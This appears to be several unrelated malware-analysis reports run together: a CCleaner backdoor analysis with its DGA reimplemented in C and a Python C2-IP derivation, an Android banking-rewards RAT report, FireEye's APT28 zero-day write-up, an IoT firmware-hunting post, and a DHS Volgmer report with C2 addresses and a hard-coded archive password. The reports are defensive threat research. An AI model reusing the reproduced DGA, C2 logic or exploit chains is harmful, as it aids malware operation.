request on port 443. It uses `InternetSetOptionA` to set the following option flags on the HTTP handle: - `SECURITY_FLAG_IGNORE_CERT_DATE_INVALID` → Ignores bad or expired SSL certificates from the server - `SECURITY_FLAG_IGNORE_CERT_CN_INVALID` → Ignores incorrect SSL certificate common names - `SECURITY_FLAG_IGNORE_WRONG_USAGE` → Ignores incorrect usage problems - `SECURITY_FLAG_IGNORE_UNKNOWN_CA` → Ignores unknown certificate authority problems - `SECURITY_FLAG_IGNORE_REVOCATION` → Ignores certificate revocation problems The malware also calls `HttpAddRequestHeadersA` to append the domain `speccy.piriform[.]com` to the POST request. This is performed to appear inconspicuous and make it harder to detect. It is also likely an attempt to confuse the analyst performing dynamic analysis of the malware. Once the information is sent to the C2, the malware expects to receive a stage 2, which it reads into a locally allocated memory block. Analysis shows that once stage 2 is received, it is decoded using the same custom Base64 and the decoding algorithm. Once decoded, the functions `GetProcAddress` and `LoadLibraryA` are pushed to the stack, and the EP of stage 2 is called. At the time of analysis, stage 2 was not available. ### DGA If the malware cannot connect to the C2, it employs a Domain Generating Algorithm, or DGA, to generate a domain. The DGA is dependent on the current year and month; therefore, it generates a new domain on a monthly basis. Below is the code, reproduced in C, displaying the DGA utilized by the malware. ```c #include "stdafx.h" #include <Windows.h> #include <stdio.h> void main() { SYSTEMTIME st; DWORD r1, r2, r3, seed; char buf[100]; const char *format = "ab%x%x.com"; GetLocalTime(&st); seed = st.wYear * 10000 + st.wMonth; srand(seed); r1 = rand(); r2 = rand(); r3 = rand() * r2; sprintf_s(buf, format, r3, r1); } ``` The list of domains calculated for all months in the years 2017 and 2018 are listed in the Appendix. Once the DGA domain for the current month and year has been calculated, the malware calculates an IP address using that domain in the following steps: - Get a hostent structure by calling `gethostbyname` on the generated domain - Get the `h_addr_list`, which is a NULL terminated list of IP addresses associated with the domain These A records (`127.100.183[.]225` and `10.158.168[.]171`) for the domain `ab1145b758c30[.]com` will be used to calculate a new C2 IP address. If there are more than two A records, the malware will only utilize the first two on the list. The Python code below reproduces the algorithm to calculate the new C2 IP address from the A records of the newly generated domain. ```python import struct import socket a1 = 0xE1B7647F # Addresses are returned in network byte order a2 = 0xABA89E0A def mod_record(rr): rr1 = (((rr & 0xff000000) / 0x1000000) ^ (rr & 0xff)) * 0x1000000 rr2 = (((rr & 0xff0000) / 0x10000) ^ ((rr & 0xff00) / 0x100)) * 0x10000 rr3 = rr & 0xff00 rr4 = rr & 0xff return (rr1 | rr2 | rr3 | rr4) newa1 = mod_record(a1) newa2 = mod_record(a2) newIP = (newa2 & 0xffff0000) | (newa1 >> 0x10) # newIP = 0xA1369ED3 print(socket.inet_ntoa(struct.pack("<L", newIP))) # Output is 211.158.54.161 ``` The new C2 IP address derived from the records of the domain `ab1145b758c30[.]com` is `211.158.54[.]161`. The malware will attempt to connect to this C2. ### Initial (Buggy) Registry Modifications Once the C2 communication subroutine has ended, the malware makes two registry modifications: - Encodes the newly calculated C2 IP address and attempts to save it in `HKLM\SOFTWARE\Piriform\Agomo\NID`. The encoding scheme is the same as the one mentioned before. Analysis shows that before the registry key string is built, a function is called to change the endianness of `0x44494E` (DIN) to `0x4E4944` (NID). However, due to a bug in the code, the function incorrectly changes it to `0x004E4944` (prepended with a NULL value). Subsequently, function `SHSetValueA` is called with the following parameters: ``` hKey = HKEY_LOCAL_MACHINE Subkey = “SOFTWARE\Piriform\Agomo” Value = “” ValueType = REG_DWORD Data = … DataLength = 0x4 ``` The parameter Value should be “NID”; however, since the string is incorrectly prepended with a NULL value, the function doesn’t read the string at all. The C2 IP address is instead saved in `HKLM\SOFTWARE\Piriform\Agomo\Default`. ### Recommendations Falcon Endpoint will notify you of any additional activity through our Falcon Intelligence detections. The intent behind the malicious packages was to collect an initial set of reconnaissance data; we urge you to block the known IP address and domains at your network perimeter to prevent any communication to the collection server. In addition, we recommend you update to the latest version of the Avast CCleaner software to ensure the embedded malicious code is removed. ## Appendix ### Hashes Information regarding the CCleaner binaries that were affected: - **Size:** 9791816 **SHA256:** 1A4A5123D7B2C534CB3E3168F7032CF9EBF38B9A2A97226D0FDB7933CF6030FF **Compiled:** Tue, Dec 29 2015, 21:34:49 UTC – 32 Bit EXE **Version:** 5.33.00.6162 **Signature:** Valid **Subject:** Piriform Ltd **Issuer:** Symantec Class 3 SHA256 Code Signing CA - **Size:** 7680216 **SHA256:** 6F7840C77F99049D788155C1351E1560B62B8AD18AD0E9ADDA8218B9F432F0A9 **Compiled:** Thu, Aug 3 2017, 9:25:13 UTC – 32 Bit EXE **Version:** 5, 33, 00, 6162 **Signature:** Valid **Subject:** Piriform Ltd **Issuer:** Symantec Class 3 SHA256 Code Signing CA - **Size:** 7781592 **SHA256:** 36B36EE9515E0A60629D2C722B006B33E543DCE1C8C2611053E0651A0BFDB2E9 **Compiled:** Thu, Aug 3 2017, 9:37:49 UTC – 32 Bit EXE **Version:** 5, 33, 00, 6162 **Signature:** Valid **Subject:** Piriform Ltd **Issuer:** Symantec Class 3 SHA256 Code Signing CA The following is the information about the decoded payload in memory: - **Size:** 16384 **SHA256:** FA8A55A05CA9E6587C941354628A0E818DCBF42ED3D98C40689F28564F0BFA19 **Compiled:** Tue, Aug 1 2017, 8:24:34 UTC – 32 Bit DLL ### Network Artifacts The following is the infrastructure associated with the CCleaner backdoor: | Infrastructure | Connection Type | Description | |-----------------------|-----------------------|-------------| | 216.126.225[.]148 | Port 443 / TCP | C2 | ### DGA Domains | Month, Year | Domain | Month, Year | Domain | |-----------------------|-----------------------------|-----------------------|-----------------------------| | January, 2017 | abde911dcc16[.]com | January, 2018 | ab3c2b0d28ba6[.]com | | February, 2017 | ab6d54340c1a[.]com | February, 2018 | ab99c24c0ba9[.]com | | March, 2017 | aba9a949bc1d[.]com | March, 2018 | ab2e1b782bad[.]com | | April, 2017 | ab2da3d400c20[.]com | April, 2018 | ab253af862bb0[.]com | | May, 2017 | ab3520430c23[.]com | May, 2018 | ab2d02b02bb3[.]com | | June, 2017 | ab1c403220c27[.]com | June, 2018 | ab1b0eaa24bb6[.]com | | July, 2017 | ab1abad1d0c2a[.]com | July, 2018 | abf09fc5abba[.]com | | August, 2017 | ab8cee60c2d[.]com | August, 2018 | abce85a51bbd[.]com | | September, 2017 | ab1145b758c30[.]com | September, 2018 | abccc097dbc0[.]com | | October, 2017 | ab890e964c34[.]com | October, 2018 | ab33b8aa69bc4[.]com | | November, 2017 | ab3d685a0c37[.]com | November, 2018 | ab693f4c0bc7[.]com | | December, 2017 | ab70a139cc3a[.]com | December, 2018 | ab23660730bca[.]com | ### Dynamically Decoded Strings The following are the strings that are dynamically decoded during the malware’s execution. It should be noted that each string is promptly zeroed out in memory after use. - `SOFTWARE\Piriform\Agomo` - `kernel32.dll` - `IsWow64Process` - `SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall` - `Publisher` - `Microsoft Corporation` - `DisplayName` - `QueryFullProcessImageFileNameA` - `SeDebugPrivilege` - `%u.%u.%u.%u` - `ab%x%x.com` - `speccy.piriform.com`
# Rewards Plus: Fake Mobile Banking Rewards Apps Lure Users to Install Info-Stealing RAT on Android Devices **September 21, 2022** Our analysis of a recent version of a previously reported info-stealing Android malware, delivered through an ongoing SMS campaign, demonstrates the continuous evolution of mobile threats. Masquerading as a banking rewards app, this new version has additional remote access trojan (RAT) capabilities, is more obfuscated, and is currently being used to target customers of Indian banks. The SMS campaign sends out messages containing a link that points to the info-stealing Android malware. The malware’s RAT capabilities allow the attacker to intercept important device notifications such as incoming messages, an apparent effort to catch two-factor authentication (2FA) messages often used by banking and financial institutions. The malware’s ability to steal all SMS messages is also concerning since the data stolen can be used to further steal users’ sensitive info like 2FA messages for email accounts and other personally identifiable information (PII). ## Observed Activity We have seen other campaigns targeting Indian banks’ customers based on the following app names: - Axisbank_rewards.apk - Icici_points.apk - Icici_rewards.apk - SBI_rewards.apk Our investigation focused on `icici_rewards.apk` (package name: com.example.test_app), which presents itself as ICICI Rewards. The SMS campaign sends out messages containing a malicious link that leads to installing a malicious APK on a target’s mobile device. To lure users into accessing the link, the SMS claims that the user is being notified to claim a reward from a known Indian bank. Upon user interaction, it displays a splash screen with the bank logo and proceeds to ask the user to enable specific permissions for the app. The fake app asks for credit card information upon being granted all permissions. This should raise users’ suspicions on the app’s motive as apps typically ask for sensitive information only through user-driven transactions like paying for purchases. The app displays another fake screen with further instructions to add to its legitimacy once users supply the information needed. ## What Happens in the Background Analyzing the XML file AndroidManifest further identifies the entry points of the malware along with the permissions requested. It also defines services that can run in the background without user interaction. The app uses the following permissions: - READ_PHONE_STATE - ACCESS_NETWORK_STATE - READ_SMS - RECEIVE_SMS - READ_CALL_LOG - FOREGROUND_SERVICE - MODIFY_AUDIO_SETTINGS - READ_CONTACTS - RECEIVE_BOOT_COMPLETED - WAKE_LOCK The malware uses `MainActivity`, `AutoStartService`, and `RestartBroadCastReceiverAndroid` functions to carry out most of its routines. These three functions interact to ensure all the malware’s routines are up and running and allow the app to remain persistent on the mobile device. ### MainActivity `MainActivity`, also called the launcher activity, is defined under `com.example.test_app.MainActivity`. It is launched first after installation to display the fake app’s ICICI splash screen. This launcher activity then calls `OnCreate()` method to check the device’s internet connectivity and record the timestamp of the malware’s installation, and `Permission_Activity` to launch permission requests. Once the permissions are granted, `Permission_Activity` further calls `AutoStartService` and `login_kotak`. ### AutoStartService `AutoStartService`, the main handler of the malware, functions based on the commands it receives. The handler provides the malware with the following capabilities: - Enforcing its RAT commands This malware’s new version adds several RAT capabilities that expand its information stealing. It enables the malware to add call log uploading, SMS message and calls interception, and card blocking checks. #### Command Name and Description - **all_sms_received**: Flags to enable/disable SMS upload - **all_call_received**: Flags to enable/disable call log upload - **silent**: Put the mobile device on silent - **block**: Checks if the user’s card is blocked - **sms_filter**: Filters SMS based on strings (defaults to “ICICI”) - **online**: Checks if the user has an active internet connection - **force_online**: Uploads received SMS messages to the C2 server - **is_online**: Checks if the device is connected to the C2 server - **force_calls**: Uploads call logs to the C2 server The silent command, which the malware uses to keep the remote attacker’s SMS sending activities undetected, stands out from the list of commands. Many banking apps require two-factor authentication (2FA), often sent through SMS messages. This malware enabling an infected device’s silent mode allows attackers to catch 2FA messages undetected, further facilitating information theft. ### Encryption and Decryption of SMS Messages In addition to encrypting all data it sends to the attacker, the malware also encrypts the SMS commands it receives from the attacker. The malware decrypts the commands through its decryption and decoding modules. The malware uses a combination of Base64 encoding/decoding and AES encryption/decryption methods. ### Stealing SMS Messages The malware steals all SMS messages from the mobile device’s inbox. It collects all received, sent, read, and even unread messages. Collecting all SMS messages might allow attackers to use the data to expand their stealing range, especially if any messages contain other sensitive information such as SMS-based 2FA for email accounts, one’s personal identification like the Aadhar card commonly used in India, or other financial-related information. ### Uploading All Call Logs The malware also uploads call logs stored on the mobile device. This data may be used for the attacker’s surveillance purposes. ### Communicating with its C2 This malware uses the open-source library socket.io to communicate with its C2 server. ### RestartBroadcastReceiver The malware also uses the Android component `RestartBroadcastReceiver`, which functions based on the type of events received by the mobile device. This receiver launches a job scheduler named `JobService`, which eventually calls `AutoStartService` in the background. The receiver reacts when the device is restarted, if the device is connected to or disconnected from charging, when the device’s battery status changes, and changes in the device’s Wi-Fi state. `RestartBroadcastReceiver` ensures that the main command handler `AutoStartService` is always up and running. ## Mitigating the Fake App’s Unwanted Extras This malware’s continuing evolution highlights the need to protect mobile devices. Its wider SMS stealing capabilities might allow attackers to use the stolen data to further steal from a user’s other banking apps. Its ability to intercept one-time passwords (OTPs) sent over SMS thwarts the protections provided by banks’ two-factor authentication mechanisms, which users and institutions rely on to keep their transactions safe. Its use of various banking and financial organizations’ logos could also attract more targets in the future. App installation on Android is relatively easy due to the operating system’s open nature. However, this openness is often abused by attackers for their gain. Apart from exercising utmost care when clicking on links in messages and installing apps, we recommend that users follow these steps to protect their devices from fake apps and malware: - Download and install applications only from official app stores. - Android device users can keep the Unknown sources option disabled to stop app installation from unknown sources. - Use mobile solutions such as Microsoft Defender for Endpoint on Android to detect malicious applications. ## Appendix ### Indicators of Compromise | Indicator | Type | Description | |------------------------------------------------------------------------------------------------|------|----------------------| | 734048bfa55f48a05326dc01295617d932954c02527b8cb0c446234e1a2ac0f7 | SHA-256 | icici_rewards.apk | | da4e28acdadfa2924ae0001d9cfbec8c8cc8fd2480236b0da6e9bc7509c921bd | SHA-256 | icici_rewards.apk | | 65d5dea69a514bfc17cba435eccfc3028ff64923fbc825ff8411ed69b9137070 | SHA-256 | icici_rewards.apk | | 3efd7a760a17366693a987548e799b29a3a4bdd42bfc8aa0ff45ac560a67e963 | SHA-256 | icici_rewards.apk (first reported by MalwareHunterTeam) | | hxxps://server4554ic[.]herokuapp[.]com/ | URL | C2 server | ### MITRE ATT&CK Techniques | Execution | Persistence | Defense Evasion | Credential Access | Collection | Command and Control | Exfiltration | Impact | |-----------|-------------|------------------|-------------------|------------|---------------------|---------------|--------| | T1603 | T1624 | T1406 | T1417 | T1417 | T1437 | T1646 | T1582 | | Scheduled Task/Job | Event Triggered | Obfuscated files/information | Input capture | Input capture | Application Layer Protocol | Exfiltration Over C2 Channel | SMS Control | | T1603 | | T1636 | T1521 | | | | | | Scheduled Task/Job | Protected User Data | Encrypted Channel | | | | | | **Shivang Desai, Abhishek Pustakala, and Harshita Tripathi** Microsoft 365 Defender Research Team
# Operation RussianDoll: Adobe & Windows Zero-Day Exploits ## Likely Leveraged by Russia’s APT28 in Highly-Targeted Attack FireEye Labs recently detected a limited APT campaign exploiting zero-day vulnerabilities in Adobe Flash and a brand-new one in Microsoft Windows. Using the Dynamic Threat Intelligence Cloud (DTI), FireEye researchers detected a pattern of attacks beginning on April 13th, 2015. Adobe independently patched the vulnerability (CVE-2015-3043) in APSB15-06. Through correlation of technical indicators and command and control infrastructure, FireEye assesses that APT28 is probably responsible for this activity. Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows (CVE-2015-1701). While there is not yet a patch available for the Windows vulnerability, updating Adobe Flash to the latest version will render this in-the-wild exploit innocuous. We have only seen CVE-2015-1701 in use in conjunction with the Adobe Flash exploit for CVE-2015-3043. The Microsoft Security Team is working on a fix for CVE-2015-1701. ## Exploit Overview The high-level flow of the exploit is as follows: 1. User clicks link to attacker controlled website 2. HTML/JS launcher page serves Flash exploit 3. Flash exploit triggers CVE-2015-3043, executes shellcode 4. Shellcode downloads and runs executable payload 5. Executable payload exploits local privilege escalation (CVE-2015-1701) to steal System token The Flash exploit is served from unobfuscated HTML/JS. The launcher page picks one of two Flash files to deliver depending upon the target’s platform (Windows 32 versus 64 bits). The Flash exploit is mostly unobfuscated with only some light variable name mangling. The attackers relied heavily on the CVE-2014-0515 Metasploit module, which is well documented. It is ROPless and instead constructs a fake vtable for a FileReference object that is modified for each call to a Windows API. The payload exploits a local privilege escalation vulnerability in the Windows kernel if it detects that it is running with limited privileges. It uses the vulnerability to run code from userspace in the context of the kernel, which modifies the attacker’s process token to have the same privileges as that of the System process. ## CVE-2015-3043 Exploit The primary difference between the CVE-2014-0515 Metasploit module and this exploit is, obviously, the vulnerability. CVE-2014-0515 exploits a vulnerability in Flash’s Shader processing, whereas CVE-2015-3043 exploits a vulnerability in Flash’s FLV processing. The culprit FLV file is embedded within AS3 in two chunks and is reassembled at runtime. ### Vulnerability A buffer overflow vulnerability exists in Adobe Flash Player (<=17.0.0.134) when parsing malformed FLV objects. Attackers exploiting the vulnerability can corrupt memory and gain remote code execution. In the exploit, the attacker embeds the FLV object directly in the ActionScript code and plays the video using the NetStream class. Files of the FLV file format contain a sequence of Tag structures. In Flash, these objects are created when parsing FLV Tags. In the case of this exploit, a Tag structure begins at offset 0x3b2f into the FLV stream that, when parsed, populates the Tag structure. Beginning within the data field, all contents of the FLV stream become 0xEE. Consequently, the data and lastsize fields are mangled, and one final tag technically exists consisting exclusively of 0xEE. ### Shellcode Shellcode is passed to the exploit from HTML in flashvars. The shellcode downloads the next stage payload, which is an executable passed in plaintext, to the temp directory with UrlDownloadToFileA, which it then runs with WinExec. ## Payload & C2 This exploit delivers a malware variant that shares characteristics with the APT28 backdoors CHOPSTICK and CORESHELL malware families. The malware uses an RC4 encryption key that was previously used by the CHOPSTICK backdoor. The C2 messages include a checksum algorithm that resembles those used in CHOPSTICK backdoor communications. In addition, the network beacon traffic for the new malware resembles those used by the CORESHELL backdoor. Like CORESHELL, one of the beacons includes a process listing from the victim host. And like CORESHELL, the new malware attempts to download a second-stage executable. One of the C2 locations for the new payload, 87.236.215[.]246, also hosts a suspected APT28 domain ssl-icloud[.]com. The same subnet (87.236.215.0/24) also hosts several known or suspected APT28 domains. The target firm is an international government entity in an industry vertical that aligns with known APT28 targeting. ## CVE-2015-1701 Exploit The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows. The exploit uses CVE-2015-1701 to execute a callback in userspace. The callback gets the EPROCESS structures of the current process and the System process and copies data from the System token into the token of the current process. Upon completion, the payload continues execution in user mode with the privileges of the System process. Because CVE-2015-3043 is already patched, this remote exploit will not succeed on a fully patched system. If an attacker wanted to exploit CVE-2015-1701, they would first have to be executing code on the victim’s machine. Barring authorized access to the victim’s machine, the attacker would have to find some other means, such as crafting a new Flash exploit, to deliver a CVE-2015-1701 payload. Microsoft is aware of CVE-2015-1701 and is working on a fix. CVE-2015-1701 does not affect Windows 8 and later. ## Acknowledgements Thank you to all of the contributors to this blog! The following people in FireEye: Dan Caselden, Yasir Khalid, James “Tom” Bennett, Gen Wei Jiang, Corbin Souffrant, Joshua Homan, Jonathan Wrolstad, Chris Phillips, Darien Kindlund, Microsoft & Adobe security teams.
# Looking for Sophisticated Malware in IoT Devices **Authors** Noushin Shabab One of the motivations for this post is to encourage other researchers who are interested in this topic to join in, to share ideas and knowledge and to help build more capabilities in order to better protect our smart devices. ## Research Background Smart watches, smart home devices, and even smart cars – as more and more connected devices join the IoT ecosystem, the importance of ensuring their security becomes patently obvious. It’s widely known that the smart devices which are now inseparable parts of our lives are not very secure against cyberattacks. Malware targeting IoT devices has been around for more than a decade. Hydra, the first known router malware that operated automatically, appeared in 2008 in the form of an open-source tool. Soon after Hydra, in-the-wild malware was also found targeting network devices. Since then, different botnet families have emerged and become widespread, including families such as Mirai, Hajime, and Gafgyt. Apart from the malware mentioned above, there are also vulnerabilities found in communication protocols used in IoT devices, such as Zigbee, which can be exploited by an attacker to target a device and to propagate malware to other devices in a network, similar to computer worms. In this research, we are focusing on hunting low-level sophisticated attacks targeting IoT devices and, in particular, taking a closer look at the firmware of IoT devices to find backdoor implants, modifications to the boot process, and other malicious alterations to different parts of the firmware. Now, let’s talk about the structure of the firmware of an IoT device in order to get a better understanding of the different components. ## IoT Firmware Structure Regardless of the CPU architecture of an IoT device, the boot process consists of the following stages: the boot loader, the kernel, and the file system. When an IoT device is switched on, the code from the onboard SoC (System on Chip) ROM transfers control to the bootloader, which loads the kernel, and the kernel then mounts the root file system. The boot loader, the kernel, and the file system also comprise the three main components of typical IoT firmware. There are a variety of CPU architectures used in IoT devices. Therefore, being able to analyze and understand the different components of firmware requires a good understanding of these architectures and also their instruction set. The most common CPU architectures among IoT devices are: - ARM - MIPS - PowerPC - SPARC ## Possible Attack Scenarios Understanding the firmware structure enables us to think about how an attacker might take advantage of the various components when deploying a stealth attack that’s difficult to detect. The bootloader is the first component that takes control of the system. Therefore, targeting the bootloader offers an attacker a perfect opportunity to carry out malicious tasks. It also means that an attack can remain persistent after a reboot. An attacker can also manipulate the kernel modules. The majority of IoT devices use the Linux kernel. As easy as it is for a developer to customize and choose whatever they need from the Linux kernel, an attacker who manages to access and manipulate the device firmware can also add or edit kernel modules. Moving on to the file system, there are also a number of common file systems used in IoT devices. These file systems are usually easy to work with. An attacker can extract, decompress, and also mount the original file system from the firmware, add malicious modules, and compress it again using common utilities. For instance, SquashFS is a compressed file system for Linux that is quite common among IoT manufacturers. It’s very straightforward to mount or uncompress a SquashFS file system using the Linux utilities “squashfs” and “unsquashfs”. ## Challenges of This Research ### Obtaining Firmware There are different ways to obtain firmware. When deciding to investigate, sometimes you want the acquired firmware to belong to the exact same device with the same specifications; and you also want it to be deployed on the device through some specific means. For example, you suspect that the network through which the firmware is updated has been compromised and you consider the possibility of the firmware being manipulated in transition between the vendor’s server and the device, hence you want to investigate the updated firmware to validate its integrity. In another example scenario, you might have bought a device from a third-party vendor and have doubts about the firmware’s authenticity. There are also a large number of IoT devices where the manufacturers don’t implement any ways to get access to the firmware, not even for an update. The device is released from the manufacturer with firmware for its lifetime. In such cases, the surest way to obtain the exact firmware you are after is to extract the firmware from the device itself. The main challenge here is that this process requires a certain domain-specific knowledge and also specialist hardware/software experience of working with embedded systems. This approach also lacks scalability if you want to find sophisticated attacks targeting IoT devices in general. Among the various ways of obtaining IoT firmware, the easiest way is to download the firmware from the device manufacturer’s website. However, not all manufacturers publish their firmware on their website. In general, a large number of IoT devices can only be updated through the device physical interface or via a specific software application (e.g., mobile app) used to manage the device. When downloading firmware from a vendor’s website, a common issue is that you might not be able to find older versions of the firmware for your specific device model. Let’s also not forget that in many cases the published firmware binaries are encrypted and can only be decrypted through the older firmware modules installed on the device. ### Understanding Firmware According to Wikipedia, “firmware is a specific class of computer software that provides the low-level control for a device’s specific hardware. Firmware can either provide a standardized operating environment for more complex device software (allowing more hardware-independence), or, for less complex devices, act as the device’s complete operating system, performing all control, monitoring, and data manipulation functions.” Even though the main components of firmware are almost always the same, there is no standard architecture for firmware. The main components of firmware are typically the bootloader, the kernel module, and the file system; but there are many other components that can be found in a firmware binary, such as the device tree, the digital certificates, and other device-specific resources and components. Once the firmware binary has been retrieved from the vendor’s website, we can then begin analyzing it and taking it apart. Given the specialized nature of the firmware, its analysis is very challenging and rather involved. ### Finding Suspicious Elements in Firmware After the components of the firmware have been extracted, you can start to look for suspicious modules, code snippets, or any sort of malicious modifications to the components. An easy step to start with is to scan the file system contents against a set of YARA rules which can be based on known IoT malware or heuristic rules. You can also scan the extracted file system contents with an antivirus scanner. Something else you can do is look for the startup scripts inside the file system. These scripts contain lists of modules that get loaded every time the system boots up. The address to a malicious module might have been inserted in a script like this with malicious intent. Here the Firmwalker tool can help with scanning an extracted file system for potentially vulnerable files. Another place to investigate is the bootloader component, though this is more challenging. There are a number of common bootloaders used in IoT devices with U Boot being the most common. U Boot is highly customizable, which makes it very difficult to determine whether the compiled code has been manipulated or not. Finding malicious modifications becomes even more complicated with uncommon or custom bootloaders. ## IoT Firmware Analysis There are a variety of open-source and closed-source tools that can help with firmware analysis. The best approach is to use a combination of the tools and techniques suggested by experienced firmware analysts. Let’s begin with Binwalk, the most comprehensive firmware analysis tool. Binwalk scans the firmware binary and looks for known patterns and signatures. It has a large collection of signatures for various bootloaders and file systems used in IoT devices. It also has signatures for common encryption and compression algorithms along with the respective routines for decompression and decoding. Binwalk is also capable of extracting the components it finds in the firmware binary. After extracting the components of the firmware, you can go on and extract, decompress, or even mount the file system and start investigating the file system content. You can also look at the bootloader code in a disassembler or debug it through a debugger. However, doing firmware analysis is not always that straightforward. Firmware is so varied and diverse that understanding its structure and extracting the components is usually quite complicated. ## Conclusion The number of IoT devices is getting bigger and bigger every day. From industrial control systems, smart cities, and cars to consumer-grade devices such as mobile phones, networking devices, personal assistants, smart watches, and a large variety of smart home appliances. IoT devices are derived from embedded systems that have been around for many years. The manufacture and development of software for embedded devices has always had different priorities from those of general-purpose computer systems due to the different nature of these devices. These priorities have been shaped by the limited and specific functions of the devices themselves, the limited capabilities and capacities of the underlying hardware as well as the inaccessibility of the developed code to subsequent alteration and modifications. However, IoT devices have significant differences to traditional embedded systems. Most IoT devices nowadays run on hardware that has similar capabilities to a general-purpose computer system. As IoT devices become more prevalent, they are now accessing and controlling many aspects of our lives and day-to-day interactions. IoT devices can now potentially give malicious actors unprecedented opportunities to do harm. This highlights the importance of security in IoT devices and also shows the relevance of research around this topic. The good news is that there are many tools and techniques available to assist current and future research in this field. Acquiring a good understanding of the architecture of IoT devices, learning the language these devices speak, and a good dose of determination and perseverance are what it takes to enter this research field. This post has been written primarily to motivate individuals who want to start diving into IoT security research. You can reach out to us regarding this research at [email protected] or via my Twitter account, @Noushinshbb. We’ll be publishing more in the future!
# Malware Analysis Report (MAR) - 10135536-D **Date:** 2017-11-01 ## Notification This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. ## Summary ### Description This submission included five unique files. These files include a malware dropper, two Remote Access Tools (RAT), and a Botnet controller. The RATs are capable of providing command and control capabilities over a victim system including the ability to exfiltrate user files and execute secondary payloads. The Botnet controller listens for connections from bots. The RATs and Botnet utilize identical ciphers to encode/decode network traffic. ### Files Processed - 143cb4f16dcfc16a02812718acd32c8f - 1ecd83ee7e4cfc8fed7ceb998e75b996 - 35f9cfe5110471a82e330d904c97466a - 5dd1ccc8fb2a5615bf5656721339efed - 81180bf9c7b282c6b8411f8f315bc422 - e3d03829cbec1a8cca56c6ae730ba9a8 ### IPs Identified - 103.16.223.35 - 113.28.244.194 - 116.48.145.179 - 186.116.9.20 - 186.149.198.172 - 195.28.91.232 - 195.97.97.148 - 199.15.234.120 - 200.42.69.133 - 203.131.222.99 - 210.187.87.181 - 83.231.204.157 - 84.232.224.218 - 89.190.188.42 ## File Details ### 1ecd83ee7e4cfc8fed7ceb998e75b996 - **Size:** 131072 - **Type:** PE32 executable (console) Intel 80386, for MS Windows - **MD5:** 1ecd83ee7e4cfc8fed7ceb998e75b996 - **SHA1:** eddb7228e2f8b7a99c4c32a743504ed3c16b5ef3 - **Antivirus Results:** - McAfee: GenericR-GMA!1ECD83EE7E4C - K7: Riskware (0040eff71) - Symantec: Trojan.Volgmer.B - VirusBlokAda: TrojanDropper.Agent - Zillya!: Dropper.Agent.Win32.182535 - Microsoft Security Essentials: Backdoor:Win32/Joanap.I!dha - Avira: TR/Agent.131088 - Ahnlab: Trojan/Win32.Ghost - NANOAV: Trojan.Win32.Agent.dpmfwf - Filseclab: TrojanDrop.Agent.pjjh.dvly - Vir.IT eXplorer: Trojan.Win32.Siggen6.BULS - Quick Heal: Backdoor.Joanap - Ikarus: Trojan-Dropper.Win32.Agent ### Description This artifact is a malicious PE32 executable designed to install a DLL (Ins.dll) and a configuration file (Config.cpl) onto the victim's system. When executed, the malware de-obfuscates its strings and APIs. This dropper malware contains the service DLL and configuration file in a password-protected ZIP archive embedded in its resource "MYRES." **Files in ZIP:** - Ins.dll ==> Service DLL - Config.cpl ==> Configuration File To decompress these files, the malware uses a hard-coded password "!1234567890 dghtdhtrhgfjnui$%^^&fdt." When the files are decompressed, Ins.dll is installed into "%system32%\appnettimgr.dll" as a service named "appnettimgr." The display name for the installed service is generated from hard-coded words. ### 81180bf9c7b282c6b8411f8f315bc422 - **Size:** 546 - **Type:** data - **MD5:** 81180bf9c7b282c6b8411f8f315bc422 - **SHA1:** c9b703cbc692977dfa0fe7b82768974f17dbf309 - **Antivirus Results:** No matches found. ### Description This artifact is the configuration file embedded in the dropper malware's (1ECD83EE) resource named "MYRES." The configuration data contains control & command (C2) IP addresses and port numbers. **Configuration Data:** ``` cgi_config 00 00 00 00 00 00 00 00 67 10 DF 23 90 1F => IP 6710DF23 => 103.16.223.35: port 1F90=8080 00 00 71 1C F4 C2 90 1F => IP 711CF4C2 => 113.28.244.194: port 1F90=8080 00 00 74 30 91 B3 90 1F => IP 743091B3 => 116.48.145.179: port 1F90=8080 00 00 BA 74 09 14 40 1F => BA740914 => 186.116.9.20: port 1F40=8000 00 00 BA 95 C6 AC 90 1F => BA95C6AC => 186.149.198.172: port 1F90=8080 00 00 BA 43 47 61 90 1F => BA434761 => 186.67.71.97: port 1F90=8080 00 00 C3 1C 5B E8 98 1F => C31C5BE8 => 195.28.91.232: port 1F98=8088 00 00 C3 61 61 94 90 1F => C3616194 => 195.97.97.148: port 1F90=8080 00 00 C7 0F EA 78 90 1F => C70FEA78 => 199.15.234.120: port 1F90=8080 00 00 C8 2A 45 85 90 1F => C82A4585 => 200.42.69.133: port 1F90=8080 00 00 CB 83 DE 63 90 1F => CB83DE63 => 203.131.222.99: port 1F90=8080 00 00 D2 BB 57 B5 90 1F => D2BB57B5 => 210.187.87.181: port 1F90=8080 00 00 53 E7 CC 9D 98 1F => 53E7CC9D => 83.231.204.157: port 1F98=8088 00 00 54 E8 E0 DA 98 1F => 54E8E0DA => 84.232.224.218: port 1F98=8088 00 00 59 BE BC 2A 90 1F => 59BEBC2A => 89.190.188.42: port 1F90=8080 00 00 ``` ### 5dd1ccc8fb2a5615bf5656721339efed - **Size:** 110592 - **Type:** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **MD5:** 5dd1ccc8fb2a5615bf5656721339efed - **SHA1:** 1b247442e28d9d72cb0c1a6e7dfbcd092829ee6d - **Antivirus Results:** - nProtect: Backdoor/W32.Volgmer.110592 - McAfee: RDN/Generic BackDoor - K7: Riskware (0040eff71) - Symantec: Trojan.Volgmer - VirusBlokAda: Backdoor.Volgmer - Zillya!: Backdoor.Volgmer.Win32.1 - Kaspersky: Backdoor.Win32.Volgmer.d - BitDefender: Trojan.GenericKD.2167403 - Microsoft Security Essentials: Backdoor:Win32/Joanap.I!dha - TrendMicro House Call: BKDR_VOLGMER.W - Emsisoft: Trojan.GenericKD.2167403 (B) - Avira: BDS/Volgmer.110592 - Ahnlab: Trojan/Win32.Dl bot - NANOAV: Trojan.Win32.Volgmer.ehpxxz - Filseclab: Backdoor.Volgmer.d.sncb.dll - Ikarus: Backdoor.Win32.Volgmer - 